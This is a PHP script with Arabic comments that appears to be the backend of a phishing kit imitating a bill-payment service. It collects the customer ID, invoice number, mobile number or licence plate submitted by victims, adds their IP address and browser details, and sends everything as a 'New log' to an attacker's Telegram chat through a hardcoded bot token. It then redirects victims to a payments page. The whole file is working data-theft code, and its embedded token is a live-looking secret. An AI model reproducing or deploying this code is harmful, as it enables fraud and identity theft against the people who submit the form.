<?php
// إعدادات بوت التليجرام
$botToken = "8538335658:AAGBbvyNhtbV7-cTsJh-4mFlDOfqIz6ADjI"; // ضع توكن البوت هنا
$chatID = "5075680045"; // ضع chat ID تبعك هنا

// استقبال البيانات من الفورم
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    
    $customerID = isset($_POST['customerID']) ? $_POST['customerID'] : '';
    $identificationType = isset($_POST['identificationType']) ? $_POST['identificationType'] : '';
    $invoiceNumber = isset($_POST['invoiceNumber']) ? $_POST['invoiceNumber'] : '';
    $mobileNumber = isset($_POST['mobileNumber']) ? $_POST['mobileNumber'] : '';
    $plateNumber = isset($_POST['plateNumber']) ? $_POST['plateNumber'] : '';
    
    // تحديد نوع التعريف
    $typeText = '';
    if ($identificationType == '0: 1') {
        $typeText = 'Invoice Number';
        $additionalInfo = "📄 " . $invoiceNumber;
    } elseif ($identificationType == '1: 11') {
        $typeText = 'Mobile OTP';
        $additionalInfo = "📞 " . $mobileNumber;
    } elseif ($identificationType == '2: 2') {
        $typeText = 'License Plate';
        $additionalInfo = "🚗 " . $plateNumber;
    }
    
    // جمع معلومات إضافية
    $ipAddress = $_SERVER['REMOTE_ADDR'];
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $timestamp = date('Y-m-d H:i:s');
    
    // تجهيز الرسالة
    $message = "<b>━━━━New log━━━━</b>\n\n";
    $message .= "👤 <code>" . $customerID . "</code>\n\n";
    $message .= "📋 " . $typeText . "\n\n";
    $message .= "📝 <b>" . $additionalInfo . "</b>\n\n";
    $message .= "━━━━━━━━━━━━━━━━━\n\n";
    $message .= "🌐 <code>" . $ipAddress . "</code>\n\n";
    $message .= "📱 " . substr($userAgent, 0, 50) . "...\n\n";
    $message .= "⏰ " . $timestamp . "\n\n";
    
    // إرسال الرسالة للتليجرام
    $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage";
    
    $data = array(
        'chat_id' => $chatID,
        'text' => $message,
        'parse_mode' => 'HTML'
    );
    
    $options = array(
        'http' => array(
            'method'  => 'POST',
            'header'  => 'Content-type: application/x-www-form-urlencoded',
            'content' => http_build_query($data)
        )
    );
    
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    
    if ($result) {
        // إعادة توجيه للصفحة الأصلية أو صفحة شكر
        header("Location: payments.php");
        exit();
    } else {
        echo "";
    }
    
} else {
    echo "";
}
?>